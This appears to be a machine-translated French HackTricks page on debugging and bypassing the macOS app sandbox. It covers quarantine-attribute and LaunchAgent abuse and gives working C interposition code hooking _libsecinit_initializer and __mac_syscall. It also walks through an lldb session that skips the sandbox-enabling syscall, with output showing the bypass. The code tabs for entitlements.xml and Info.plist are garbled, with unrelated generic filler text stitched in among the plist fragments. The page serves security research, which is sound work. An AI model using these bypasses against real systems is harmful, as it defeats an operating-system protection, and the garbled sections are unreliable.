.. | ||
macos-office-sandbox-bypasses.md | ||
README.md |
Débogage et Contournement du Bac à Sable macOS
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Processus de chargement du bac à sable
Sur l'image précédente, il est possible d'observer comment le bac à sable sera chargé lorsqu'une application avec l'attribution com.apple.security.app-sandbox
est exécutée.
Le compilateur liera /usr/lib/libSystem.B.dylib
au binaire.
Ensuite, libSystem.B
appellera d'autres fonctions jusqu'à ce que xpc_pipe_routine
envoie les autorisations de l'application à securityd
. Securityd vérifie si le processus doit être mis en quarantaine à l'intérieur du Bac à Sable, et le cas échéant, il sera mis en quarantaine.
Enfin, le bac à sable sera activé par un appel à __sandbox_ms
qui appellera __mac_syscall
.
Contournements Possibles
Contournement de l'attribut de quarantaine
Les fichiers créés par des processus mis en bac à sable se voient attribuer l'attribut de quarantaine pour empêcher les évasions du bac à sable. Cependant, si vous parvenez à créer un dossier .app
sans l'attribut de quarantaine dans une application mise en bac à sable, vous pourriez faire pointer le binaire du bundle de l'application vers /bin/bash
et ajouter des variables d'environnement dans le plist pour abuser de open
et lancer la nouvelle application hors du bac à sable.
C'est ce qui a été fait dans CVE-2023-32364.
{% hint style="danger" %}
Par conséquent, pour l'instant, si vous êtes simplement capable de créer un dossier portant un nom se terminant par .app
sans attribut de quarantaine, vous pouvez échapper au bac à sable car macOS ne vérifie que l'attribut de quarantaine dans le dossier .app
et dans l'exécutable principal (et nous allons faire pointer l'exécutable principal vers /bin/bash
).
Notez que si un bundle .app a déjà été autorisé à s'exécuter (il a un xttr de quarantaine avec le drapeau autorisé à s'exécuter), vous pourriez également en abuser... sauf que maintenant vous ne pouvez pas écrire à l'intérieur des bundles .app
à moins d'avoir certaines autorisations TCC privilégiées (que vous n'aurez pas dans un bac à sable élevé).
{% endhint %}
Abus de la fonctionnalité Open
Dans les derniers exemples de contournement du bac à sable de Word, on peut voir comment la fonctionnalité open
de la ligne de commande peut être abusée pour contourner le bac à sable.
{% content-ref url="macos-office-sandbox-bypasses.md" %} macos-office-sandbox-bypasses.md {% endcontent-ref %}
Agents/Daemons de Lancement
Même si une application est censée être mise en bac à sable (com.apple.security.app-sandbox
), il est possible de contourner le bac à sable si elle est exécutée à partir d'un LaunchAgent (~/Library/LaunchAgents
) par exemple.
Comme expliqué dans cet article, si vous souhaitez obtenir une persistance avec une application mise en bac à sable, vous pourriez la faire s'exécuter automatiquement en tant que LaunchAgent et peut-être injecter du code malveillant via des variables d'environnement DyLib.
Abus des Emplacements de Démarrage Automatique
Si un processus mis en bac à sable peut écrire à un endroit où plus tard une application non mise en bac à sable va exécuter le binaire, il pourra s'échapper simplement en plaçant le binaire là-bas. Un bon exemple de ce type d'emplacements sont ~/Library/LaunchAgents
ou /System/Library/LaunchDaemons
.
Pour cela, vous pourriez même avoir besoin de 2 étapes : Faire en sorte qu'un processus avec un bac à sable plus permissif (file-read*
, file-write*
) exécute votre code qui écrira en réalité à un endroit où il sera exécuté sans bac à sable.
Consultez cette page sur les emplacements de démarrage automatique :
{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}
Abus d'autres processus
Si à partir du processus en bac à sable vous êtes capable de compromettre d'autres processus s'exécutant dans des bacs à sable moins restrictifs (ou aucun), vous pourrez échapper à leurs bacs à sable :
{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}
Compilation Statique & Liaison Dynamique
Cette recherche a découvert 2 façons de contourner le Bac à Sable. Parce que le bac à sable est appliqué depuis l'espace utilisateur lorsque la bibliothèque libSystem est chargée. Si un binaire pouvait éviter de la charger, il ne serait jamais mis en bac à sable :
- Si le binaire était complètement compilé de manière statique, il pourrait éviter de charger cette bibliothèque.
- Si le binaire n'avait pas besoin de charger de bibliothèques (car le lien est également dans libSystem), il n'aurait pas besoin de charger libSystem.
Shellcodes
Notez que même les shellcodes en ARM64 doivent être liés dans libSystem.dylib
:
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
Autorisations
Notez que même si certaines actions peuvent être autorisées par le sandbox si une application a une autorisation spécifique, comme dans :
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
Contournement de l'interposition
Pour plus d'informations sur l'interposition, consultez :
{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}
Interposer _libsecinit_initializer
pour éviter le bac à sable
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
void _libsecinit_initializer(void);
void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}
__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
Interposer __mac_syscall
pour empêcher le bac à sable
{% code title="interpose.c" %}
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <string.h>
// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);
// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}
// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};
// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
{% endcode %}
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
Déboguer et contourner le bac à sable avec lldb
Compilons une application qui devrait être sandboxée :
{% tabs %} {% tab title="sand.c" %}
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
{% endtab %}
{% tab title="entitlements.xml" %}
macOS Sandbox Débogage et Contournement
Lors de l'analyse des applications macOS, il est souvent nécessaire de contourner les restrictions du bac à sable pour effectuer des tests de sécurité approfondis. Voici quelques techniques courantes pour déboguer et contourner le bac à sable macOS :
-
Injection de Code : Utiliser des outils tels que Frida pour injecter du code dans le processus de l'application et contourner les restrictions du bac à sable.
-
Contournement des Restrictions : Identifier et exploiter les vulnérabilités dans le bac à sable pour échapper aux limitations imposées.
-
Analyse Dynamique : Utiliser des outils d'analyse dynamique comme LLDB pour inspecter et manipuler le comportement de l'application en cours d'exécution.
En comprenant ces techniques, les chercheurs en sécurité peuvent mieux évaluer la résilience des applications macOS face aux attaques de contournement du bac à sable.
{% endtab %}
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
{% endtab %}
{% tab title="Info.plist" %}
macOS Sandbox Debug and Bypass
Debugging the macOS Sandbox
To debug the macOS sandbox, you can use the sandbox-exec
tool with the -D
flag to enable debug mode. This will print detailed information about the sandbox operations to the console, helping you understand how the sandbox is restricting your application.
sandbox-exec -D
Bypassing the macOS Sandbox
To bypass the macOS sandbox, you can use various techniques such as exploiting vulnerabilities in the sandbox profile, injecting code into a process with sandbox access, or using kernel vulnerabilities to disable sandbox restrictions.
It's important to note that bypassing the macOS sandbox is a serious security risk and should only be done for research or testing purposes in controlled environments.
<plist version="1.0">
<dict>
<key>CFBundleIdentifier</key>
<string>xyz.hacktricks.sandbox</string>
<key>CFBundleName</key>
<string>Sandbox</string>
</dict>
</plist>
{% endtab %} {% endtabs %}
Ensuite, compilez l'application :
{% code overflow="wrap" %}
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
# Create a certificate for "Code Signing"
# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
{% endcode %}
{% hint style="danger" %}
L'application va essayer de lire le fichier ~/Desktop/del.txt
, que le bac à sable n'autorisera pas.
Créez un fichier à cet emplacement car une fois que le bac à sable est contourné, il pourra le lire :
echo "Sandbox Bypassed" > ~/Desktop/del.txt
{% endhint %}
Déboguons l'application pour voir quand le Bac à sable est chargé :
# Load app in debugging
lldb ./sand
# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine
# run
(lldb) r
# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272
# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000
# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...
# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660
# Move until the end of the function
(lldb) finish
# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"
# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c
# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"
#
# BYPASS
#
# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
-> 0x187659900 <+0>: mov x16, #0x17d
0x187659904 <+4>: svc #0x80
0x187659908 <+8>: b.lo 0x187659928 ; <+40>
0x18765990c <+12>: pacibsp
# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
{% hint style="warning" %} Même avec le contournement du bac à sable, TCC demandera à l'utilisateur s'il souhaite autoriser le processus à lire des fichiers depuis le bureau. {% endhint %}
Références
- http://newosxbook.com/files/HITSB.pdf
- https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/
- https://www.youtube.com/watch?v=mG715HcDgO8
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFT
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.